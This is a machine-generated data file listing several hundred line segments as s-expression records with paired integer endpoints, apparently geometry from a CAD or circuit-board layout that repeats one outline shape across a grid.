(line (p1 2720005) (p2 2710005))
(line (p1 2710005) (p2 2700004))
(line (p1 2640006) (p2 2660006))
(line (p1 2660006) (p2 2670006))
(line (p1 2670006) (p2 2680006))
(line (p1 2640006) (p2 2640008))
(line (p1 2640008) (p2 2640009))
(line (p1 2640009) (p2 2640010))
(line (p1 2640010) (p2 2680010))
(line (p1 2680010) (p2 2680006))
(line (p1 2680006) (p2 2690007))
(line (p1 2690007) (p2 2690008))
(line (p1 2690008) (p2 2690009))
(line (p1 2690009) (p2 2690011))
(line (p1 2690011) (p2 2680010))
(line (p1 2690011) (p2 2670011))
(line (p1 2670011) (p2 2660011))
(line (p1 2660011) (p2 2650011))
(line (p1 2650011) (p2 2640010))
(line (p1 2700006) (p2 2720006))
(line (p1 2720006) (p2 2730006))
(line (p1 2730006) (p2 2740006))
(line (p1 2700006) (p2 2700008))
(line (p1 2700008) (p2 2700009))
(line (p1 2700009) (p2 2700010))
(line (p1 2700010) (p2 2740010))
(line (p1 2740010) (p2 2740006))
(line (p1 2740006) (p2 2750007))
(line (p1 2750007) (p2 2750008))
(line (p1 2750008) (p2 2750009))
(line (p1 2750009) (p2 2750011))
(line (p1 2750011) (p2 2740010))
(line (p1 2750011) (p2 2730011))
(line (p1 2730011) (p2 2720011))
(line (p1 2720011) (p2 2710011))
(line (p1 2710011) (p2 2700010))
(line (p1 2630003) (p2 2640003))
(line (p1 2610005) (p2 2610006))
(line (p1 2660005) (p2 2660006))
(line (p1 2630008) (p2 2640008))
(line (p1 2810003) (p2 2820003))
(line (p1 2790005) (p2 2790006))
(line (p1 2840005) (p2 2840006))
(line (p1 2810008) (p2 2820008))
(line (p1 2760000) (p2 2780000))
(line (p1 2780000) (p2 2790000))
(line (p1 2790000) (p2 2800000))
(line (p1 2760000) (p2 2760002))
(line (p1 2760002) (p2 2760003))
(line (p1 2760003) (p2 2760004))
(line (p1 2760004) (p2 2800004))
(line (p1 2800004) (p2 2800000))
(line (p1 2800000) (p2 2810001))
(line (p1 2810001) (p2 2810002))
(line (p1 2810002) (p2 2810003))
(line (p1 2810003) (p2 2810005))
(line (p1 2810005) (p2 2800004))
(line (p1 2810005) (p2 2790005))
(line (p1 2790005) (p2 2780005))
(line (p1 2780005) (p2 2770005))
(line (p1 2770005) (p2 2760004))
(line (p1 2820000) (p2 2840000))
(line (p1 2840000) (p2 2850000))
(line (p1 2850000) (p2 2860000))
(line (p1 2820000) (p2 2820002))
(line (p1 2820002) (p2 2820003))
(line (p1 2820003) (p2 2820004))
(line (p1 2820004) (p2 2860004))
(line (p1 2860004) (p2 2860000))
(line (p1 2860000) (p2 2870001))
(line (p1 2870001) (p2 2870002))
(line (p1 2870002) (p2 2870003))
(line (p1 2870003) (p2 2870005))
(line (p1 2870005) (p2 2860004))
(line (p1 2870005) (p2 2850005))
(line (p1 2850005) (p2 2840005))
(line (p1 2840005) (p2 2830005))
(line (p1 2830005) (p2 2820004))
(line (p1 2760006) (p2 2780006))
(line (p1 2780006) (p2 2790006))
(line (p1 2790006) (p2 2800006))
(line (p1 2760006) (p2 2760008))
(line (p1 2760008) (p2 2760009))
(line (p1 2760009) (p2 2760010))
(line (p1 2760010) (p2 2800010))
(line (p1 2800010) (p2 2800006))
(line (p1 2800006) (p2 2810007))
(line (p1 2810007) (p2 2810008))
(line (p1 2810008) (p2 2810009))
(line (p1 2810009) (p2 2810011))
(line (p1 2810011) (p2 2800010))
(line (p1 2810011) (p2 2790011))
(line (p1 2790011) (p2 2780011))
(line (p1 2780011) (p2 2770011))
(line (p1 2770011) (p2 2760010))
(line (p1 2820006) (p2 2840006))
(line (p1 2840006) (p2 2850006))
(line (p1 2850006) (p2 2860006))
(line (p1 2820006) (p2 2820008))
(line (p1 2820008) (p2 2820009))
(line (p1 2820009) (p2 2820010))
(line (p1 2820010) (p2 2860010))
(line (p1 2860010) (p2 2860006))
(line (p1 2860006) (p2 2870007))
(line (p1 2870007) (p2 2870008))
(line (p1 2870008) (p2 2870009))
(line (p1 2870009) (p2 2870011))
(line (p1 2870011) (p2 2860010))
(line (p1 2870011) (p2 2850011))
(line (p1 2850011) (p2 2840011))
(line (p1 2840011) (p2 2830011))
(line (p1 2830011) (p2 2820010))
(line (p1 2750003) (p2 2760003))
(line (p1 2730005) (p2 2730006))
(line (p1 2780005) (p2 2780006))
(line (p1 2750008) (p2 2760008))
(line (p1 2930003) (p2 2940003))
(line (p1 2910005) (p2 2910006))
(line (p1 2960005) (p2 2960006))
(line (p1 2930008) (p2 2940008))
(line (p1 2880000) (p2 2900000))
(line (p1 2900000) (p2 2910000))
(line (p1 2910000) (p2 2920000))
(line (p1 2880000) (p2 2880002))
(line (p1 2880002) (p2 2880003))
(line (p1 2880003) (p2 2880004))
(line (p1 2880004) (p2 2920004))
(line (p1 2920004) (p2 2920000))
(line (p1 2920000) (p2 2930001))
(line (p1 2930001) (p2 2930002))
(line (p1 2930002) (p2 2930003))
(line (p1 2930003) (p2 2930005))
(line (p1 2930005) (p2 2920004))
(line (p1 2930005) (p2 2910005))
(line (p1 2910005) (p2 2900005))
(line (p1 2900005) (p2 2890005))
(line (p1 2890005) (p2 2880004))
(line (p1 2940000) (p2 2960000))
(line (p1 2960000) (p2 2970000))
(line (p1 2970000) (p2 2980000))
(line (p1 2940000) (p2 2940002))
(line (p1 2940002) (p2 2940003))
(line (p1 2940003) (p2 2940004))
(line (p1 2940004) (p2 2980004))
(line (p1 2980004) (p2 2980000))
(line (p1 2980000) (p2 2990001))
(line (p1 2990001) (p2 2990002))
(line (p1 2990002) (p2 2990003))
(line (p1 2990003) (p2 2990005))
(line (p1 2990005) (p2 2980004))
(line (p1 2990005) (p2 2970005))
(line (p1 2970005) (p2 2960005))
(line (p1 2960005) (p2 2950005))
(line (p1 2950005) (p2 2940004))
(line (p1 2880006) (p2 2900006))
(line (p1 2900006) (p2 2910006))
(line (p1 2910006) (p2 2920006))
(line (p1 2880006) (p2 2880008))
(line (p1 2880008) (p2 2880009))
(line (p1 2880009) (p2 2880010))
(line (p1 2880010) (p2 2920010))
(line (p1 2920010) (p2 2920006))
(line (p1 2920006) (p2 2930007))
(line (p1 2930007) (p2 2930008))
(line (p1 2930008) (p2 2930009))
(line (p1 2930009) (p2 2930011))
(line (p1 2930011) (p2 2920010))
(line (p1 2930011) (p2 2910011))
(line (p1 2910011) (p2 2900011))
(line (p1 2900011) (p2 2890011))
(line (p1 2890011) (p2 2880010))
(line (p1 2940006) (p2 2960006))
(line (p1 2960006) (p2 2970006))
(line (p1 2970006) (p2 2980006))
(line (p1 2940006) (p2 2940008))
(line (p1 2940008) (p2 2940009))
(line (p1 2940009) (p2 2940010))
(line (p1 2940010) (p2 2980010))
(line (p1 2980010) (p2 2980006))
(line (p1 2980006) (p2 2990007))
(line (p1 2990007) (p2 2990008))
(line (p1 2990008) (p2 2990009))
(line (p1 2990009) (p2 2990011))
(line (p1 2990011) (p2 2980010))
(line (p1 2990011) (p2 2970011))
(line (p1 2970011) (p2 2960011))
(line (p1 2960011) (p2 2950011))
(line (p1 2950011) (p2 2940010))
(line (p1 2870003) (p2 2880003))
(line (p1 2850005) (p2 2850006))
(line (p1 2900005) (p2 2900006))
(line (p1 2870008) (p2 2880008))
(line (p1 3050003) (p2 3060003))
(line (p1 3030005) (p2 3030006))
(line (p1 3080005) (p2 3080006))
(line (p1 3050008) (p2 3060008))
(line (p1 3000000) (p2 3020000))
(line (p1 3020000) (p2 3030000))
(line (p1 3030000) (p2 3040000))
(line (p1 3000000) (p2 3000002))
(line (p1 3000002) (p2 3000003))
(line (p1 3000003) (p2 3000004))
(line (p1 3000004) (p2 3040004))
(line (p1 3040004) (p2 3040000))
(line (p1 3040000) (p2 3050001))
(line (p1 3050001) (p2 3050002))
(line (p1 3050002) (p2 3050003))
(line (p1 3050003) (p2 3050005))
(line (p1 3050005) (p2 3040004))
(line (p1 3050005) (p2 3030005))
(line (p1 3030005) (p2 3020005))
(line (p1 3020005) (p2 3010005))
(line (p1 3010005) (p2 3000004))
(line (p1 3060000) (p2 3080000))
(line (p1 3080000) (p2 3090000))
(line (p1 3090000) (p2 3100000))
(line (p1 3060000) (p2 3060002))
(line (p1 3060002) (p2 3060003))
(line (p1 3060003) (p2 3060004))
(line (p1 3060004) (p2 3100004))
(line (p1 3100004) (p2 3100000))
(line (p1 3100000) (p2 3110001))
(line (p1 3110001) (p2 3110002))
(line (p1 3110002) (p2 3110003))
(line (p1 3110003) (p2 3110005))
(line (p1 3110005) (p2 3100004))
(line (p1 3110005) (p2 3090005))
(line (p1 3090005) (p2 3080005))
(line (p1 3080005) (p2 3070005))
(line (p1 3070005) (p2 3060004))
(line (p1 3000006) (p2 3020006))
(line (p1 3020006) (p2 3030006))
(line (p1 3030006) (p2 3040006))
(line (p1 3000006) (p2 3000008))
(line (p1 3000008) (p2 3000009))
(line (p1 3000009) (p2 3000010))
(line (p1 3000010) (p2 3040010))
(line (p1 3040010) (p2 3040006))
(line (p1 3040006) (p2 3050007))
(line (p1 3050007) (p2 3050008))
(line (p1 3050008) (p2 3050009))
(line (p1 3050009) (p2 3050011))
(line (p1 3050011) (p2 3040010))
(line (p1 3050011) (p2 3030011))
(line (p1 3030011) (p2 3020011))
(line (p1 3020011) (p2 3010011))
(line (p1 3010011) (p2 3000010))
(line (p1 3060006) (p2 3080006))
(line (p1 3080006) (p2 3090006))
(line (p1 3090006) (p2 3100006))
(line (p1 3060006) (p2 3060008))
(line (p1 3060008) (p2 3060009))
(line (p1 3060009) (p2 3060010))
(line (p1 3060010) (p2 3100010))
(line (p1 3100010) (p2 3100006))
(line (p1 3100006) (p2 3110007))
(line (p1 3110007) (p2 3110008))
(line (p1 3110008) (p2 3110009))
(line (p1 3110009) (p2 3110011))
(line (p1 3110011) (p2 3100010))
(line (p1 3110011) (p2 3090011))
(line (p1 3090011) (p2 3080011))
(line (p1 3080011) (p2 3070011))
(line (p1 3070011) (p2 3060010))
(line (p1 2990003) (p2 3000003))
(line (p1 2970005) (p2 2970006))
(line (p1 3020005) (p2 3020006))
(line (p1 2990008) (p2 3000008))
(line (p1 3170003) (p2 3180003))
(line (p1 3150005) (p2 3150006))
(line (p1 3200005) (p2 3200006))
(line (p1 3170008) (p2 3180008))
(line (p1 3120000) (p2 3140000))
(line (p1 3140000) (p2 3150000))
(line (p1 3150000) (p2 3160000))
(line (p1 3120000) (p2 3120002))
(line (p1 3120002) (p2 3120003))
(line (p1 3120003) (p2 3120004))
(line (p1 3120004) (p2 3160004))
(line (p1 3160004) (p2 3160000))
(line (p1 3160000) (p2 3170001))
(line (p1 3170001) (p2 3170002))
(line (p1 3170002) (p2 3170003))
(line (p1 3170003) (p2 3170005))
(line (p1 3170005) (p2 3160004))
(line (p1 3170005) (p2 3150005))
(line (p1 3150005) (p2 3140005))
(line (p1 3140005) (p2 3130005))
(line (p1 3130005) (p2 3120004))
(line (p1 3180000) (p2 3200000))
(line (p1 3200000) (p2 3210000))
(line (p1 3210000) (p2 3220000))
(line (p1 3180000) (p2 3180002))
(line (p1 3180002) (p2 3180003))
(line (p1 3180003) (p2 3180004))
(line (p1 3180004) (p2 3220004))
(line (p1 3220004) (p2 3220000))
(line (p1 3220000) (p2 3230001))
(line (p1 3230001) (p2 3230002))
(line (p1 3230002) (p2 3230003))
(line (p1 3230003) (p2 3230005))
(line (p1 3230005) (p2 3220004))
(line (p1 3230005) (p2 3210005))
(line (p1 3210005) (p2 3200005))
(line (p1 3200005) (p2 3190005))
(line (p1 3190005) (p2 3180004))
(line (p1 3120006) (p2 3140006))
(line (p1 3140006) (p2 3150006))
(line (p1 3150006) (p2 3160006))
(line (p1 3120006) (p2 3120008))
(line (p1 3120008) (p2 3120009))
(line (p1 3120009) (p2 3120010))
(line (p1 3120010) (p2 3160010))
(line (p1 3160010) (p2 3160006))
(line (p1 3160006) (p2 3170007))
(line (p1 3170007) (p2 3170008))
(line (p1 3170008) (p2 3170009))
(line (p1 3170009) (p2 3170011))
(line (p1 3170011) (p2 3160010))
(line (p1 3170011) (p2 3150011))
(line (p1 3150011) (p2 3140011))
(line (p1 3140011) (p2 3130011))
(line (p1 3130011) (p2 3120010))
(line (p1 3180006) (p2 3200006))
(line (p1 3200006) (p2 3210006))
(line (p1 3210006) (p2 3220006))
(line (p1 3180006) (p2 3180008))
(line (p1 3180008) (p2 3180009))
(line (p1 3180009) (p2 3180010))
(line (p1 3180010) (p2 3220010))
(line (p1 3220010) (p2 3220006))
(line (p1 3220006) (p2 3230007))
(line (p1 3230007) (p2 3230008))
(line (p1 3230008) (p2 3230009))
(line (p1 3230009) (p2 3230011))
(line (p1 3230011) (p2 3220010))
(line (p1 3230011) (p2 3210011))
(line (p1 3210011) (p2 3200011))
(line (p1 3200011) (p2 3190011))
(line (p1 3190011) (p2 3180010))
(line (p1 3110003) (p2 3120003))
(line (p1 3090005) (p2 3090006))
(line (p1 3140005) (p2 3140006))
(line (p1 3110008) (p2 3120008))
(line (p1 3290003) (p2 3300003))
(line (p1 3270005) (p2 3270006))
(line (p1 3320005) (p2 3320006))
(line (p1 3290008) (p2 3300008))
(line (p1 3240000) (p2 3260000))
(line (p1 3260000) (p2 3270000))
(line (p1 3270000) (p2 3280000))
(line (p1 3240000) (p2 3240002))
(line (p1 3240002) (p2 3240003))
(line (p1 3240003) (p2 3240004))
(line (p1 3240004) (p2 3280004))
(line (p1 3280004) (p2 3280000))
(line (p1 3280000) (p2 3290001))
(line (p1 3290001) (p2 3290002))
(line (p1 3290002) (p2 3290003))
(line (p1 3290003) (p2 3290005))
(line (p1 3290005) (p2 3280004))
(line (p1 3290005) (p2 3270005))
(line (p1 3270005) (p2 3260005))
(line (p1 3260005) (p2 3250005))
(line (p1 3250005) (p2 3240004))
(line (p1 3300000) (p2 3320000))
(line (p1 3320000) (p2 3330000))
(line (p1 3330000) (p2 3340000))
(line (p1 3300000) (p2 3300002))
(line (p1 3300002) (p2 3300003))
(line (p1 3300003) (p2 3300004))
(line (p1 3300004) (p2 3340004))
(line (p1 3340004) (p2 3340000))
(line (p1 3340000) (p2 3350001))
(line (p1 3350001) (p2 3350002))
(line (p1 3350002) (p2 3350003))
(line (p1 3350003) (p2 3350005))
(line (p1 3350005) (p2 3340004))
(line (p1 3350005) (p2 3330005))
(line (p1 3330005) (p2 3320005))
(line (p1 3320005) (p2 3310005))
(line (p1 3310005) (p2 3300004))
(line (p1 3240006) (p2 3260006))
(line (p1 3260006) (p2 3270006))
(line (p1 3270006) (p2 3280006))
(line (p1 3240006) (p2 3240008))
(line (p1 3240008) (p2 3240009))
(line (p1 3240009) (p2 3240010))
(line (p1 3240010) (p2 3280010))
(line (p1 3280010) (p2 3280006))
(line (p1 3280006) (p2 3290007))
(line (p1 3290007) (p2 3290008))
(line (p1 3290008) (p2 3290009))
(line (p1 3290009) (p2 3290011))
(line (p1 3290011) (p2 3280010))
(line (p1 3290011) (p2 3270011))
(line (p1 3270011) (p2 3260011))
(line (p1 3260011) (p2 3250011))
(line (p1 3250011) (p2 3240010))
(line (p1 3300006) (p2 3320006))
(line (p1 3320006) (p2 3330006))
(line (p1 3330006) (p2 3340006))
(line (p1 3300006) (p2 3300008))
(line (p1 3300008) (p2 3300009))
(line (p1 3300009) (p2 3300010))
(line (p1 3300010) (p2 3340010))
(line (p1 3340010) (p2 3340006))
(line (p1 3340006) (p2 3350007))
(line (p1 3350007) (p2 3350008))
(line (p1 3350008) (p2 3350009))
(line (p1 3350009) (p2 3350011))
(line (p1 3350011) (p2 3340010))
(line (p1 3350011) (p2 3330011))
(line (p1 3330011) (p2 3320011))
(line (p1 3320011) (p2 3310011))
(line (p1 3310011) (p2 3300010))
(line (p1 3230003) (p2 3240003))
(line (p1 3210005) (p2 3210006))
(line (p1 3260005) (p2 3260006))
(line (p1 3230008) (p2 3240008))
(line (p1 3410003) (p2 3420003))
(line (p1 3390005) (p2 3390006))
(line (p1 3440005) (p2 3440006))
(line (p1 3410008) (p2 3420008))
(line (p1 3360000) (p2 3380000))
(line (p1 3380000) (p2 3390000))
(line (p1 3390000) (p2 3400000))
(line (p1 3360000) (p2 3360002))
(line (p1 3360002) (p2 3360003))
(line (p1 3360003) (p2 3360004))
(line (p1 3360004) (p2 3400004))
(line (p1 3400004) (p2 3400000))
(line (p1 3400000) (p2 3410001))
(line (p1 3410001) (p2 3410002))
(line (p1 3410002) (p2 3410003))
(line (p1 3410003) (p2 3410005))
(line (p1 3410005) (p2 3400004))
(line (p1 3410005) (p2 3390005))
(line (p1 3390005) (p2 3380005))
(line (p1 3380005) (p2 3370005))
(line (p1 3370005) (p2 3360004))
(line (p1 3420000) (p2 3440000))
(line (p1 3440000) (p2 3450000))
(line (p1 3450000) (p2 3460000))
(line (p1 3420000) (p2 3420002))
(line (p1 3420002) (p2 3420003))
(line (p1 3420003) (p2 3420004))
(line (p1 3420004) (p2 3460004))
(line (p1 3460004) (p2 3460000))
(line (p1 3460000) (p2 3470001))
(line (p1 3470001) (p2 3470002))
(line (p1 3470002) (p2 3470003))
(line (p1 3470003) (p2 3470005))
(line (p1 3470005) (p2 3460004))
(line (p1 3470005) (p2 3450005))
(line (p1 3450005) (p2 3440005))
(line (p1 3440005) (p2 3430005))
(line (p1 3430005) (p2 3420004))
(line (p1 3360006) (p2 3380006))
(line (p1 3380006) (p2 3390006))
(line (p1 3390006) (p2 3400006))
(line (p1 3360006) (p2 3360008))
(line (p1 3360008) (p2 3360009))
(line (p1 3360009) (p2 3360010))
(line (p1 3360010) (p2 3400010))
(line (p1 3400010) (p2 3400006))
(line (p1 3400006) (p2 3410007))
(line (p1 3410007) (p2 3410008))
(line (p1 3410008) (p2 3410009))
(line (p1 3410009) (p2 3410011))
(line (p1 3410011) (p2 3400010))
(line (p1 3410011) (p2 3390011))
(line (p1 3390011) (p2 3380011))
(line (p1 3380011) (p2 3370011))
(line (p1 3370011) (p2 3360010))
(line (p1 3420006) (p2 3440006))
(line (p1 3440006) (p2 3450006))
(line (p1 3450006) (p2 3460006))
(line (p1 3420006) (p2 3420008))
(line (p1 3420008) (p2 3420009))
(line (p1 3420009) (p2 3420010))
(line (p1 3420010) (p2 3460010))
(line (p1 3460010) (p2 3460006))
(line (p1 3460006) (p2 3470007))
(line (p1 3470007) (p2 3470008))
(line (p1 3470008) (p2 3470009))
(line (p1 3470009) (p2 3470011))
(line (p1 3470011) (p2 3460010))
(line (p1 3470011) (p2 3450011))
(line (p1 3450011) (p2 3440011))
(line (p1 3440011) (p2 3430011))
(line (p1 3430011) (p2 3420010))
(line (p1 3350003) (p2 3360003))
(line (p1 3330005) (p2 3330006))
(line (p1 3380005) (p2 3380006))
(line (p1 3350008) (p2 3360008))
(line (p1 3530003) (p2 3540003))
(line (p1 3510005) (p2 3510006))
(line (p1 3560005) (p2 3560006))
(line (p1 3530008) (p2 3540008))
(line (p1 3480000) (p2 3500000))
(line (p1 3500000) (p2 3510000))
(line (p1 3510000) (p2 3520000))
(line (p1 3480000) (p2 3480002))
(line (p1 3480002) (p2 3480003))
(line (p1 3480003) (p2 3480004))
(line (p1 3480004) (p2 3520004))
(line (p1 3520004) (p2 3520000))
(line (p1 3520000) (p2 3530001))
(line (p1 3530001) (p2 3530002))
(line (p1 3530002) (p2 3530003))
(line (p1 3530003) (p2 3530005))
(line (p1 3530005) (p2 3520004))
(line (p1 3530005) (p2 3510005))
(line (p1 3510005) (p2 3500005))
(line (p1 3500005) (p2 3490005))
(line (p1 3490005) (p2 3480004))
(line (p1 3540000) (p2 3560000))
(line (p1 3560000) (p2 3570000))
(line (p1 3570000) (p2 3580000))
(line (p1 3540000) (p2 3540002))
(line (p1 3540002) (p2 3540003))
(line (p1 3540003) (p2 3540004))
(line (p1 3540004) (p2 3580004))
(line (p1 3580004) (p2 3580000))
(line (p1 3580000) (p2 3590001))
(line (p1 3590001) (p2 3590002))
(line (p1 3590002) (p2 3590003))
(line (p1 3590003) (p2 3590005))
(line (p1 3590005) (p2 3580004))
(line (p1 3590005) (p2 3570005))
(line (p1 3570005) (p2 3560005))
(line (p1 3560005) (p2 3550005))
(line (p1 3550005) (p2 3540004))
(line (p1 3480006) (p2 3500006))
(line (p1 3500006) (p2 3510006))
(line (p1 3510006) (p2 3520006))
(line (p1 3480006) (p2 3480008))
(line (p1 3480008) (p2 3480009))
(line (p1 3480009) (p2 3480010))
(line (p1 3480010) (p2 3520010))
(line (p1 3520010) (p2 3520006))
(line (p1 3520006) (p2 3530007))
(line (p1 3530007) (p2 3530008))
(line (p1 3530008) (p2 3530009))
(line (p1 3530009) (p2 3530011))
(line (p1 3530011) (p2 3520010))
(line (p1 3530011) (p2 3510011))
(line (p1 3510011) (p2 3500011))
(line (p1 3500011) (p2 3490011))
(line (p1 3490011) (p2 3480010))
(line (p1 3540006) (p2 3560006))
(line (p1 3560006) (p2 3570006))
(line (p1 3570006) (p2 3580006))
(line (p1 3540006) (p2 3540008))
(line (p1 3540008) (p2 3540009))
(line (p1 3540009) (p2 3540010))
(line (p1 3540010) (p2 3580010))
(line (p1 3580010) (p2 3580006))
(line (p1 3580006) (p2 3590007))
(line (p1 3590007) (p2 3590008))
(line (p1 3590008) (p2 3590009))
(line (p1 3590009) (p2 3590011))
(line (p1 3590011) (p2 3580010))
(line (p1 3590011) (p2 3570011))
(line (p1 3570011) (p2 3560011))
(line (p1 3560011) (p2 3550011))
(line (p1 3550011) (p2 3540010))
(line (p1 3470003) (p2 3480003))
(line (p1 3450005) (p2 3450006))
(line (p1 3500005) (p2 3500006))
(line (p1 3470008) (p2 3480008))
(line (p1 3650003) (p2 3660003))
(line (p1 3630005) (p2 3630006))
(line (p1 3680005) (p2 3680006))
(line (p1 3650008) (p2 3660008))
(line (p1 3600000) (p2 3620000))
(line (p1 3620000) (p2 3630000))
(line (p1 3630000) (p2 3640000))
(line (p1 3600000) (p2 3600002))
(line (p1 3600002) (p2 3600003))
(line (p1 3600003) (p2 3600004))
(line (p1 3600004) (p2 3640004))
(line (p1 3640004) (p2 3640000))
(line (p1 3640000) (p2 3650001))
(line (p1 3650001) (p2 3650002))
(line (p1 3650002) (p2 3650003))
(line (p1 3650003) (p2 3650005))
(line (p1 3650005) (p2 3640004))
(line (p1 3650005) (p2 3630005))
(line (p1 3630005) (p2 3620005))
(line (p1 3620005) (p2 3610005))
(line (p1 3610005) (p2 3600004))
(line (p1 3660000) (p2 3680000))
(line (p1 3680000) (p2 3690000))
(line (p1 3690000) (p2 3700000))
(line (p1 3660000) (p2 3660002))
(line (p1 3660002) (p2 3660003))
(line (p1 3660003) (p2 3660004))
(line (p1 3660004) (p2 3700004))
(line (p1 3700004) (p2 3700000))
(line (p1 3700000) (p2 3710001))
(line (p1 3710001) (p2 3710002))
(line (p1 3710002) (p2 3710003))
(line (p1 3710003) (p2 3710005))
(line (p1 3710005) (p2 3700004))
(line (p1 3710005) (p2 3690005))
(line (p1 3690005) (p2 3680005))
(line (p1 3680005) (p2 3670005))
(line (p1 3670005) (p2 3660004))
(line (p1 3600006) (p2 3620006))
(line (p1 3620006) (p2 3630006))
(line (p1 3630006) (p2 3640006))
(line (p1 3600006) (p2 3600008))
(line (p1 3600008) (p2 3600009))
(line (p1 3600009) (p2 3600010))
(line (p1 3600010) (p2 3640010))
(line (p1 3640010) (p2 3640006))
(line (p1 3640006) (p2 3650007))
(line (p1 3650007) (p2 3650008))
(line (p1 3650008) (p2 3650009))
(line (p1 3650009) (p2 3650011))
(line (p1 3650011) (p2 3640010))
(line (p1 3650011) (p2 3630011))
(line (p1 3630011) (p2 3620011))
(line (p1 3620011) (p2 3610011))
(line (p1 3610011) (p2 3600010))
(line (p1 3660006) (p2 3680006))
(line (p1 3680006) (p2 3690006))
(line (p1 3690006) (p2 3700006))
(line (p1 3660006) (p2 3660008))
(line (p1 3660008) (p2 3660009))
(line (p1 3660009) (p2 3660010))
(line (p1 3660010) (p2 3700010))
(line (p1 3700010) (p2 3700006))
(line (p1 3700006) (p2 3710007))
(line (p1 3710007) (p2 3710008))
(line (p1 3710008) (p2 3710009))
(line (p1 3710009) (p2 3710011))
(line (p1 3710011) (p2 3700010))
(line (p1 3710011) (p2 3690011))
(line (p1 3690011) (p2 3680011))
(line (p1 3680011) (p2 3670011))
(line (p1 3670011) (p2 3660010))
(line (p1 3590003) (p2 3600003))
(line (p1 3570005) (p2 3570006))
(line (p1 3620005) (p2 3620006))
(line (p1 3590008) (p2 3600008))
(line (p1 3770003) (p2 3780003))
(line (p1 3750005) (p2 3750006))
(line (p1 3800005) (p2 3800006))
(line (p1 3770008) (p2 3780008))
(line (p1 3720000) (p2 3740000))
(line (p1 3740000) (p2 3750000))
(line (p1 3750000) (p2 3760000))
(line (p1 3720000) (p2 3720002))
(line (p1 3720002) (p2 3720003))
(line (p1 3720003) (p2 3720004))
(line (p1 3720004) (p2 3760004))
(line (p1 3760004) (p2 3760000))
(line (p1 3760000) (p2 3770001))
(line (p1 3770001) (p2 3770002))
(line (p1 3770002) (p2 3770003))
(line (p1 3770003) (p2 3770005))
(line (p1 3770005) (p2 3760004))
(line (p1 3770005) (p2 3750005))
(line (p1 3750005) (p2 3740005))
(line (p1 3740005) (p2 3730005))
(line (p1 3730005) (p2 3720004))
(line (p1 3780000) (p2 3800000))
(line (p1 3800000) (p2 3810000))
(line (p1 3810000) (p2 3820000))
(line (p1 3780000) (p2 3780002))
(line (p1 3780002) (p2 3780003))
(line (p1 3780003) (p2 3780004))
(line (p1 3780004) (p2 3820004))
(line (p1 3820004) (p2 3820000))
(line (p1 3820000) (p2 3830001))
(line (p1 3830001) (p2 3830002))
(line (p1 3830002) (p2 3830003))
(line (p1 3830003) (p2 3830005))
(line (p1 3830005) (p2 3820004))
(line (p1 3830005) (p2 3810005))
(line (p1 3810005) (p2 3800005))
(line (p1 3800005) (p2 3790005))
(line (p1 3790005) (p2 3780004))
(line (p1 3720006) (p2 3740006))
(line (p1 3740006) (p2 3750006))
(line (p1 3750006) (p2 3760006))
(line (p1 3720006) (p2 3720008))
(line (p1 3720008) (p2 3720009))
(line (p1 3720009) (p2 3720010))
(line (p1 3720010) (p2 3760010))
(line (p1 3760010) (p2 3760006))
(line (p1 3760006) (p2 3770007))
(line (p1 3770007) (p2 3770008))
(line (p1 3770008) (p2 3770009))
(line (p1 3770009) (p2 3770011))
(line (p1 3770011) (p2 3760010))
(line (p1 3770011) (p2 3750011))
(line (p1 3750011) (p2 3740011))
(line (p1 3740011) (p2 3730011))
(line (p1 3730011) (p2 3720010))
(line (p1 3780006) (p2 3800006))
(line (p1 3800006) (p2 3810006))
(line (p1 3810006) (p2 3820006))
(line (p1 3780006) (p2 3780008))
(line (p1 3780008) (p2 3780009))
(line (p1 3780009) (p2 3780010))
(line (p1 3780010) (p2 3820010))
(line (p1 3820010) (p2 3820006))
(line (p1 3820006) (p2 3830007))
(line (p1 3830007) (p2 3830008))
(line (p1 3830008) (p2 3830009))
(line (p1 3830009) (p2 3830011))
(line (p1 3830011) (p2 3820010))
(line (p1 3830011) (p2 3810011))
(line (p1 3810011) (p2 3800011))
(line (p1 3800011) (p2 3790011))
(line (p1 3790011) (p2 3780010))
(line (p1 3710003) (p2 3720003))
(line (p1 3690005) (p2 3690006))
(line (p1 3740005) (p2 3740006))
(line (p1 3710008) (p2 3720008))
(line (p1 3890003) (p2 3900003))
(line (p1 3870005) (p2 3870006))
(line (p1 3920005) (p2 3920006))
(line (p1 3890008) (p2 3900008))
(line (p1 3840000) (p2 3860000))
(line (p1 3860000) (p2 3870000))
(line (p1 3870000) (p2 3880000))
(line (p1 3840000) (p2 3840002))
(line (p1 3840002) (p2 3840003))
(line (p1 3840003) (p2 3840004))
(line (p1 3840004) (p2 3880004))
(line (p1 3880004) (p2 3880000))
(line (p1 3880000) (p2 3890001))
(line (p1 3890001) (p2 3890002))
(line (p1 3890002) (p2 3890003))
(line (p1 3890003) (p2 3890005))
(line (p1 3890005) (p2 3880004))
(line (p1 3890005) (p2 3870005))
(line (p1 3870005) (p2 3860005))
(line (p1 3860005) (p2 3850005))
(line (p1 3850005) (p2 3840004))
(line (p1 3900000) (p2 3920000))
(line (p1 3920000) (p2 3930000))
(line (p1 3930000) (p2 3940000))
(line (p1 3900000) (p2 3900002))
(line (p1 3900002) (p2 3900003))
(line (p1 3900003) (p2 3900004))
(line (p1 3900004) (p2 3940004))
(line (p1 3940004) (p2 3940000))
(line (p1 3940000) (p2 3950001))
(line (p1 3950001) (p2 3950002))
(line (p1 3950002) (p2 3950003))
(line (p1 3950003) (p2 3950005))
(line (p1 3950005) (p2 3940004))
(line (p1 3950005) (p2 3930005))
(line (p1 3930005) (p2 3920005))
(line (p1 3920005) (p2 3910005))
(line (p1 3910005) (p2 3900004))
(line (p1 3840006) (p2 3860006))
(line (p1 3860006) (p2 3870006))
(line (p1 3870006) (p2 3880006))
(line (p1 3840006) (p2 3840008))
(line (p1 3840008) (p2 3840009))
(line (p1 3840009) (p2 3840010))
(line (p1 3840010) (p2 3880010))
(line (p1 3880010) (p2 3880006))
(line (p1 3880006) (p2 3890007))
(line (p1 3890007) (p2 3890008))
(line (p1 3890008) (p2 3890009))
(line (p1 3890009) (p2 3890011))
(line (p1 3890011) (p2 3880010))
(line (p1 3890011) (p2 3870011))
(line (p1 3870011) (p2 3860011))
(line (p1 3860011) (p2 3850011))
(line (p1 3850011) (p2 3840010))
(line (p1 3900006) (p2 3920006))
(line (p1 3920006) (p2 3930006))
(line (p1 3930006) (p2 3940006))
(line (p1 3900006) (p2 3900008))
(line (p1 3900008) (p2 3900009))
(line (p1 3900009) (p2 3900010))
(line (p1 3900010) (p2 3940010))
(line (p1 3940010) (p2 3940006))
(line (p1 3940006) (p2 3950007))
(line (p1 3950007) (p2 3950008))
